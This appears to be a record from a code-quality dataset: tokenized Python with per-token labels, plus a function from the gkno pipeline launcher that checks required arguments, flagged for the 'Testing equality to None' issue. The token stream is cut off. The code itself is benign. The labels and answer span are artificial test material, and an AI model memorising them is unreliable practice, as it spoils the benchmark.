"\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Compose", "_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "remove", "\\u", "subcommands", "\\u", "line_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "formatter", "\\u", "class_", "=_", "formatters_", "._", "compose_", "(_", "formatters_", "._", "Remove", "Subc", "ommand", "s", "Line_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "=_", "self_", "._", "make", "\\u", "parser_", "(_", "formatter", "\\u", "class_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cli", "help_", "=_", "parser_", "._", "format\\u", "help_", "(_", ")_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2 ]
Testing equality to None
gkno/gkno_launcher/src/gkno/dataConsistency.py
[ { "content": "def checkRequiredArguments(graph, superpipeline, args, isTerminate):\n\n # Define error handling,\n errors = er.consistencyErrors()\n isSuccess = True\n\n # Keep track of nodes that can have their values constructed.\n constructableNodes = []\n\n # Loop over the defined pipeline arguments and check that all arguments listed as required have\n # been set.\n for argument in args.arguments:\n\n # If the pipeline specifies if this argument is required or not, update the properties of the nodes.\n # If not specified (i.e. isRequired == None), it is left to the tool configuration to determine if\n # the argument is required. This allows the pipeline configuration file to not only specify that an\n # argument is required even if the underlying tool doesn't require the value, the pipeline can also\n # override the tools claim that the argument is required.\n if args.arguments[argument].isRequired == False:\n for nodeId in args.arguments[argument].graphNodeIds: graph.setGraphNodeAttribute(nodeId, 'isRequired', False)\n if args.arguments[argument].isRequired:\n\n # Loop over the associated graph nodes and see if the values are set.\n for nodeId in args.arguments[argument].graphNodeIds:\n graph.setGraphNodeAttribute(nodeId, 'isRequired', False)\n\n # Check if this argument was imported from a task in the pipeline. If so, determine if there are\n # any instructions for constructing the filename (if not an option). Only terminate if the argument\n # is for an option, or there are no instructions.\n hasInstructions = False\n if args.arguments[argument].isImported:\n task = args.arguments[argument].importedFromTask\n tool = graph.getGraphNodeAttribute(task, 'tool')\n toolData = superpipeline.getToolData(tool)\n hasInstructions = True if toolData.getArgumentAttribute(argument, 'constructionInstructions') else False\n\n # If the values haven't been set, terminate. This is a pipeline argument listed as required\n # and so must be set by the user (and not constructed).\n if not graph.getGraphNodeAttribute(nodeId, 'values') and not hasInstructions:\n isSuccess = False\n shortFormArgument = args.arguments[argument].shortFormArgument\n description = args.arguments[argument].description\n if isTerminate: errors.unsetRequiredArgument(argument, shortFormArgument, description)\n\n # Loop over all tasks in the workflow\n for task in graph.workflow:\n\n # Get the tool for the task.\n tool = superpipeline.tasks[task]\n toolData = superpipeline.getToolData(tool)\n\n # Loop over all of the arguments for the tool and check that all required arguments have a node\n # and that the node has values.\n for argument in toolData.arguments:\n\n # Check if the argument is required.\n if toolData.getArgumentAttribute(argument, 'isRequired'):\n\n # Record if a node for this node is seen.\n foundNode = False\n\n # Determine if the argument is for an input file, output file or an option.\n isInput = toolData.getArgumentAttribute(argument, 'isInput')\n isOutput = toolData.getArgumentAttribute(argument, 'isOutput')\n\n # If this is an output file with construction instructions, the filenames will be constructed\n # later, so this does not need to be checked. Keep track of the nodes which will be constructed\n # as these could be inputs to other tasks and so the check for existence is also not required\n # for these input files.\n\n # Start with input files and options.\n if not isOutput:\n\n # Loop over all input nodes looking for edges that use this argument.\n for nodeId in graph.CM_getInputNodes(graph.graph, task):\n edgeArgument = graph.getArgumentAttribute(nodeId, task, 'longFormArgument')\n\n # If this node uses the required argument.\n if edgeArgument == argument:\n foundNode = True\n\n # If this node has already been marked as not required (i.e. the tools requirement has been superceded\n # by instructions in the pipeline configuration file).\n if graph.getGraphNodeAttribute(nodeId, 'isRequired'):\n hasInstructions = False if graph.getArgumentAttribute(nodeId, task, 'constructionInstructions') == None else True\n hasValues = True if len(graph.getGraphNodeAttribute(nodeId, 'values')) != 0 else False\n if not hasValues and not hasInstructions and nodeId not in constructableNodes:\n isSuccess = False\n \n # Check to see if this node can have it's values set with a top level pipeline argument (e.g. can\n # be set without defining the task on the command line).\n longFormArgument = graph.getGraphNodeAttribute(nodeId, 'longFormArgument')\n if longFormArgument and '.' not in longFormArgument:\n \n # Get the short form of the pipeline argument and the argument description.\n #shortFormArgument = args.arguments[longFormArgument].shortFormArgument\n shortFormArgument = graph.getGraphNodeAttribute(nodeId, 'shortFormArgument')\n description = graph.getGraphNodeAttribute(nodeId, 'description')\n if isTerminate: errors.unsetRequiredArgument(longFormArgument, shortFormArgument, description)\n \n # If this is not a top level argument, provide a different error.\n # TODO CHECK THIS\n else: \n \n # Get the short form version of the argument as well as the argument description. This is as defined\n # for the tool, so if this argument can be set using a pipeline argument, these values are incorrect.\n shortFormArgument = graph.getArgumentAttribute(nodeId, task, 'shortFormArgument')\n description = graph.getArgumentAttribute(nodeId, task, 'description')\n if isTerminate: errors.unsetRequiredNestedArgument(task, argument, shortFormArgument, description, superpipeline.pipeline)\n\n # If there is no node for this argument, this means that the pipeline configuration file does not contain\n # a unique or shared node for this argument. In addition, the value has not been provided on the command\n # line. This means that no values will get assigned to this argument, so terminate.\n if not foundNode:\n instructions = toolData.getArgumentAttribute(argument, 'constructionInstructions')\n if not instructions: \n isSuccess = False\n\n # Check if arguments were imported for this task. If so, check to see if this argument is therefore\n # available on the command line.\n if task == superpipeline.pipelineConfigurationData[superpipeline.pipeline].importArgumentsFromTool:\n if isTerminate: \n errors.unsetRequiredArgument(argument, args.arguments[argument].shortFormArgument, args.arguments[argument].description)\n else:\n if isTerminate: errors.noInputNode(task, tool, argument)\n \n # If there are instructions, but no node, construct the node.\n else:\n if instructions['method'] == 'from tool argument':\n argumentToUse = instructions['use argument']\n\n # Find all nodes for this task using this argument.\n for predecessorNodeId in graph.graph.predecessors(task):\n if graph.getArgumentAttribute(predecessorNodeId, task, 'longFormArgument') == argumentToUse:\n nodeAddress = str(predecessorNodeId + '.' + argument)\n\n # Add the node and edge.\n argumentAttributes = toolData.getArgumentData(argument)\n graph.addFileNode(nodeAddress, nodeAddress)\n graph.addEdge(nodeAddress, task, argumentAttributes)\n\n # Attach the name of the node from which this filename is constructed to the node.\n graph.setGraphNodeAttribute(nodeAddress, 'constructUsingNode', predecessorNodeId)\n\n # If there are instructions, but the construction method does not use another argument, create a node.\n else:\n nodeAddress = str(task + '.' + argument)\n\n # Add the node and edge.\n argumentAttributes = toolData.getArgumentData(argument)\n graph.addFileNode(nodeAddress, nodeAddress)\n graph.addEdge(nodeAddress, task, argumentAttributes)\n\n # Now consider output files.\n else:\n instructions = toolData.getArgumentAttribute(argument, 'constructionInstructions')\n\n # Loop over all output nodes looking for edges that use this argument.\n for nodeId in graph.CM_getOutputNodes(graph.graph, task):\n edgeArgument = graph.getArgumentAttribute(task, nodeId, 'longFormArgument')\n\n # If this node uses the required argument.\n if edgeArgument == argument:\n foundNode = True\n\n # If construction instructions are provided.\n if instructions:\n\n # If the construction is to proceed by using an argument from this task, ensure that that\n # argument is either set, or is itelf a successor to another task and so has the chance\n # of being set.\n if instructions['method'] == 'from tool argument':\n longFormArgument = toolData.getLongFormArgument(instructions['use argument'])\n foundNode = False\n for predecessorNodeId in graph.graph.predecessors(task):\n edgeArgument = graph.getArgumentAttribute(predecessorNodeId, task, 'longFormArgument')\n if edgeArgument == longFormArgument:\n foundNode = True\n constructionNodeId = predecessorNodeId\n\n # If the node being used to construct the file does not exist, then it cannot be used to \n # construct the filename and so some data must be missing.\n if not foundNode:\n isSuccess = False\n if isTerminate: errors.noNodeForConstruction(task, tool, argument, longFormArgument)\n\n # If the node used to construct this filename exists, but it has no values or predecessors,\n # it also will not be able to be used to construct the argument.\n #elif not graph.getGraphNodeAttribute(constructionNodeId, 'values'):\n #if not graph.graph.predecessors(constructionNodeId):\n # TODO ERROR\n #print('dataConsistency - checkRequiredArguments - cannot construct output', task, argument); exit(1)\n\n # Add the node to the list of nodes that have the potential to be constructed.\n if nodeId not in constructableNodes: constructableNodes.append(nodeId)\n\n # If no instructions are provided check that there are values supplied.\n if not instructions and not graph.getGraphNodeAttribute(nodeId, 'values'):\n isSuccess = False\n if isTerminate: errors.noConstructionMethod(task, tool, argument)\n\n # If no node exists for this argument, determine the course of action.\n if not foundNode:\n\n # If there are no instructions for constructing the filename, terminate.\n if not instructions: print('dataConsistency.checkRequiredArguments - no output node', task, argument); exit(1)\n\n # If there are instructions, but no node, construct the node.\n nodeAddress = str(task + '.' + argument)\n argumentAttributes = toolData.getArgumentData(argument)\n\n # Determine if this node is a stub. If so, this is an output that is not shared with any other tasks, so\n # construct as many nodes as required.\n if argumentAttributes.isStub: #graph.constructOutputStubs()\n for i, stubExtension in enumerate(argumentAttributes.stubExtensions):\n modifiedNodeAddress = str(nodeAddress + '.' + stubExtension)\n stubAttributes = deepcopy(argumentAttributes)\n stubAttributes.stubExtension = stubExtension\n stubAttributes.isPrimaryStubNode = True if i == 0 else False\n graph.addFileNode(modifiedNodeAddress, modifiedNodeAddress)\n graph.addEdge(task, modifiedNodeAddress, stubAttributes)\n\n # If this is not a stub, add the node and edge.\n else:\n graph.addFileNode(nodeAddress, nodeAddress)\n graph.addEdge(task, nodeAddress, argumentAttributes)\n\n # Return if the operation was a success.\n return isSuccess", "metadata": "root.checkRequiredArguments", "header": "['module', '___EOS___']", "index": 148 } ]
[ { "span": "graph.getArgumentAttribute(nodeId, task, 'constructionInstructions') == None ", "start_line": 232, "start_column": 43, "end_line": 232, "end_column": 119 } ]
[]
1
true
[ "[CLS]_", "Test", "ing_", "equality", "_", "to_", "None_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "check", "Requ", "ired", "Arguments_", "(_", "graph_", ",_", "super", "pipeline_", ",_", "args_", ",_", "is", "Terminate", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Define", " ", "error", " ", "handling", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "errors_", "=_", "er_", "._", "consiste", "nc", "y", "Errors_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "is", "Success_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Keep", " ", "track", " ", "of", " ", "nodes", " ", "tha", "t", " ", "can", " ", "have", " ", "thei", "r", " ", "values", " ", "construct", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "construct", "able", "Nodes_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Loop", " ", "over", " ", "the", " ", "defin", "ed", " ", "pipeline", " ", "argu", "ment", "s", " ", "and", " ", "check", " ", "tha", "t", " ", "all", " ", "argu", "ment", "s", " ", "liste", "d", " ", "as", " ", "require", "d", " ", "have_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "bee", "n", " ", "set", "._", "\\u\\u\\uNL\\u\\u\\u_", "for_", "argument_", "in_", "args_", "._", "arguments_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "the", " ", "pipeline", " ", "speci", "fie", "s", " ", "if", " ", "this", " ", "argu", "ment", " ", "is", " ", "require", "d", " ", "or", " ", "not", ",", " ", "update", " ", "the", " ", "proper", "ties", " ", "of", " ", "the", " ", "nodes", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "not", " ", "specified", " ", "(", "i", ".", "e", ".", " ", "is", "Requ", "ired", " ", "==", " ", "Non", "e", "),", " ", "it", " ", "is", " ", "left", " ", "to", " ", "the", " ", "tool", " ", "configura", "tion", " ", "to", " ", "dete", "rmin", "e", " ", "if_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "argu", "ment", " ", "is", " ", "require", "d", ".", " ", "Thi", "s", " ", "allow", "s", " ", "the", " ", "pipeline", " ", "configura", "tion", " ", "file", " ", "to", " ", "not", " ", "only", " ", "speci", "fy", " ", "tha", "t", " ", "an_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "argu", "ment", " ", "is", " ", "require", "d", " ", "even", " ", "if", " ", "the", " ", "underl", "ying", " ", "tool", " ", "doe", "sn", "'", "t", " ", "require", " ", "the", " ", "value", ",", " ", "the", " ", "pipeline", " ", "can", " ", "als", "o_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "override", " ", "the", " ", "tool", "s", " ", "claim", " ", "tha", "t", " ", "the", " ", "argu", "ment", " ", "is", " ", "require", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "args_", "._", "arguments_", "[_", "argument_", "]_", "._", "is", "Required_", "==_", "False_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "node", "Id_", "in_", "args_", "._", "arguments_", "[_", "argument_", "]_", "._", "graph", "Node", "Ids_", ":_", "graph_", "._", "set", "Graph", "Node", "Attribute_", "(_", "node", "Id_", ",_", "'", "is", "Requ", "ired", "'_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "args_", "._", "arguments_", "[_", "argument_", "]_", "._", "is", "Required_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Loop", " ", "over", " ", "the", " ", "associate", "d", " ", "graph", " ", "nodes", " ", "and", " ", "see", " ", "if", " ", "the", " ", "values", " ", "are", " ", "set", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "node", "Id_", "in_", "args_", "._", "arguments_", "[_", "argument_", "]_", "._", "graph", "Node", "Ids_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "graph_", "._", "set", "Graph", "Node", "Attribute_", "(_", "node", "Id_", ",_", "'", "is", "Requ", "ired", "'_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Check", " ", "if", " ", "this", " ", "argu", "ment", " ", "was", " ", "import", "ed", " ", "from", " ", "a", " ", "task", " ", "in", " ", "the", " ", "pipeline", ".", " ", "If", " ", "so", ",", " ", "dete", "rmin", "e", " ", "if", " ", "there", " ", "are", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "any", " ", "instruct", "ion", "s", " ", "for", " ", "constructi", "ng", " ", "the", " ", "filename", " ", "(", "if", " ", "not", " ", "an", " ", "option", ").", " ", "On", "ly", " ", "terminate", " ", "if", " ", "the", " ", "argument_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "is", " ", "for", " ", "an", " ", "option", ",", " ", "or", " ", "there", " ", "are", " ", "no", " ", "instruct", "ion", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "has", "Instructions", "_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "args_", "._", "arguments_", "[_", "argument_", "]_", "._", "is", "Imported", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "task_", "=_", "args_", "._", "arguments_", "[_", "argument_", "]_", "._", "import", "ed", "Fro", "m", "Task_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tool_", "=_", "graph_", "._", "get", "Graph", "Node", "Attribute_", "(_", "task_", ",_", "'", "tool", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tool", "Data_", "=_", "super", "pipeline_", "._", "get", "Tool", "Data_", "(_", "tool_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "has", "Instructions", "_", "=_", "True_", "if_", "tool", "Data_", "._", "get", "Arg", "ument", "Attribute_", "(_", "argument_", ",_", "'", "constructi", "on", "Instructions", "'_", ")_", "else_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "the", " ", "values", " ", "have", "n", "'", "t", " ", "bee", "n", " ", "set", ",", " ", "terminate", ".", " ", "Thi", "s", " ", "is", " ", "a", " ", "pipeline", " ", "argu", "ment", " ", "liste", "d", " ", "as", " ", "required_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "and", " ", "so", " ", "must", " ", "be", " ", "set", " ", "by", " ", "the", " ", "user", " ", "(", "and", " ", "not", " ", "construct", "ed", ").", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "graph_", "._", "get", "Graph", "Node", "Attribute_", "(_", "node", "Id_", ",_", "'", "values", "'_", ")_", "and_", "not_", "has", "Instructions", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "is", "Success_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "short", "Form", "Argument_", "=_", "args_", "._", "arguments_", "[_", "argument_", "]_", "._", "short", "Form", "Argument_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "description_", "=_", "args_", "._", "arguments_", "[_", "argument_", "]_", "._", "description_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "is", "Terminate", "_", ":_", "errors_", "._", "unse", "t", "Requ", "ired", "Argument_", "(_", "argument_", ",_", "short", "Form", "Argument_", ",_", "description_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Loop", " ", "over", " ", "all", " ", "task", "s", " ", "in", " ", "the", " ", "workflow_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "task_", "in_", "graph_", "._", "workflow_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Get", " ", "the", " ", "tool", " ", "for", " ", "the", " ", "task", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tool_", "=_", "super", "pipeline_", "._", "tasks_", "[_", "task_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tool", "Data_", "=_", "super", "pipeline_", "._", "get", "Tool", "Data_", "(_", "tool_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Loop", " ", "over", " ", "all", " ", "of", " ", "the", " ", "argu", "ment", "s", " ", "for", " ", "the", " ", "tool", " ", "and", " ", "check", " ", "tha", "t", " ", "all", " ", "require", "d", " ", "argu", "ment", "s", " ", "have", " ", "a", " ", "node_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "and", " ", "tha", "t", " ", "the", " ", "node", " ", "has", " ", "values", "._", "\\u\\u\\uNL\\u\\u\\u_", "for_", "argument_", "in_", "tool", "Data_", "._", "arguments_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Check", " ", "if", " ", "the", " ", "argu", "ment", " ", "is", " ", "require", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "tool", "Data_", "._", "get", "Arg", "ument", "Attribute_", "(_", "argument_", ",_", "'", "is", "Requ", "ired", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Record", " ", "if", " ", "a", " ", "node", " ", "for", " ", "this", " ", "node", " ", "is", " ", "see", "n", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "found", "Node_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Det", "erm", "ine", " ", "if", " ", "the", " ", "argu", "ment", " ", "is", " ", "for", " ", "an", " ", "input", " ", "file", ",", " ", "output", " ", "file", " ", "or", " ", "an", " ", "option", "._", "\\u\\u\\uNL\\u\\u\\u_", "is", "Input_", "=_", "tool", "Data_", "._", "get", "Arg", "ument", "Attribute_", "(_", "argument_", ",_", "'", "is", "Inp", "ut", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "is", "Output_", "=_", "tool", "Data_", "._", "get", "Arg", "ument", "Attribute_", "(_", "argument_", ",_", "'", "is", "Output", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "this", " ", "is", " ", "an", " ", "output", " ", "file", " ", "with", " ", "constructi", "on", " ", "instruct", "ion", "s", ",", " ", "the", " ", "filename", "s", " ", "will", " ", "be", " ", "construct", "ed_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "late", "r", ",", " ", "so", " ", "this", " ", "doe", "s", " ", "not", " ", "need", " ", "to", " ", "be", " ", "checke", "d", ".", " ", "Keep", " ", "track", " ", "of", " ", "the", " ", "nodes", " ", "whi", "ch", " ", "will", " ", "be", " ", "construct", "ed_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "as", " ", "these", " ", "coul", "d", " ", "be", " ", "inputs", " ", "to", " ", "other", " ", "task", "s", " ", "and", " ", "so", " ", "the", " ", "check", " ", "for", " ", "existence", " ", "is", " ", "als", "o", " ", "not", " ", "required_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "for", " ", "these", " ", "input", " ", "files", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Start", " ", "with", " ", "input", " ", "files", " ", "and", " ", "options", "._", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "is", "Output_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Loop", " ", "over", " ", "all", " ", "input", " ", "nodes", " ", "look", "ing", " ", "for", " ", "edge", "s", " ", "tha", "t", " ", "use", " ", "this", " ", "argu", "ment", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "node", "Id_", "in_", "graph_", "._", "CM", "\\u", "get", "Inp", "ut", "Nodes_", "(_", "graph_", "._", "graph_", ",_", "task_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "edge", "Argument_", "=_", "graph_", "._", "get", "Arg", "ument", "Attribute_", "(_", "node", "Id_", ",_", "task_", ",_", "'", "long", "Form", "Arg", "ument", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "this", " ", "node", " ", "use", "s", " ", "the", " ", "require", "d", " ", "argu", "ment", "._", "\\u\\u\\uNL\\u\\u\\u_", "if_", "edge", "Argument_", "==_", "argument_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "found", "Node_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "this", " ", "node", " ", "has", " ", "alr", "ead", "y", " ", "bee", "n", " ", "marked", " ", "as", " ", "not", " ", "require", "d", " ", "(", "i", ".", "e", ".", " ", "the", " ", "tool", "s", " ", "require", "ment", " ", "has", " ", "bee", "n", " ", "superc", "eded", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "by", " ", "instruct", "ion", "s", " ", "in", " ", "the", " ", "pipeline", " ", "configura", "tion", " ", "file", ").", "_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "graph_", "._", "get", "Graph", "Node", "Attribute_", "(_", "node", "Id_", ",_", "'", "is", "Requ", "ired", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "has", "Instructions", "_", "=_", "False_", "if_", "graph_", "._", "get", "Arg", "ument", "Attribute_", "(_", "node", "Id_", ",_", "task_", ",_", "'", "constructi", "on", "Instructions", "'_", ")_", "==_", "None_", "else_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "has", "Values_", "=_", "True_", "if_", "len_", "(_", "graph_", "._", "get", "Graph", "Node", "Attribute_", "(_", "node", "Id_", ",_", "'", "values", "'_", ")_", ")_", "!=_", "0_", "else_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "has", "Values_", "and_", "not_", "has", "Instructions", "_", "and_", "node", "Id_", "not_", "in_", "construct", "able", "Nodes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "is", "Success_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Check", " ", "to", " ", "see", " ", "if", " ", "this", " ", "node", " ", "can", " ", "have", " ", "it", "'", "s", " ", "values", " ", "set", " ", "with", " ", "a", " ", "top", " ", "level", " ", "pipeline", " ", "argu", "ment", " ", "(", "e", ".", "g", ".", " ", "can_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "be", " ", "set", " ", "with", "out", " ", "defini", "ng", " ", "the", " ", "task", " ", "on", " ", "the", " ", "command", " ", "line", ").", "_", "\\u\\u\\uNL\\u\\u\\u_", "long", "Form", "Argument_", "=_", "graph_", "._", "get", "Graph", "Node", "Attribute_", "(_", "node", "Id_", ",_", "'", "long", "Form", "Arg", "ument", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "long", "Form", "Argument_", "and_", "'.'_", "not_", "in_", "long", "Form", "Argument_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Get", " ", "the", " ", "short", " ", "form", " ", "of", " ", "the", " ", "pipeline", " ", "argu", "ment", " ", "and", " ", "the", " ", "argu", "ment", " ", "description", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "short", "Form", "Arg", "ument", " ", "=", " ", "args", ".", "argu", "ment", "s", "[", "long", "Form", "Arg", "ument", "].", "short", "Form", "Argument_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "short", "Form", "Argument_", "=_", "graph_", "._", "get", "Graph", "Node", "Attribute_", "(_", "node", "Id_", ",_", "'", "short", "Form", "Arg", "ument", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "description_", "=_", "graph_", "._", "get", "Graph", "Node", "Attribute_", "(_", "node", "Id_", ",_", "'", "description", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "is", "Terminate", "_", ":_", "errors_", "._", "unse", "t", "Requ", "ired", "Argument_", "(_", "long", "Form", 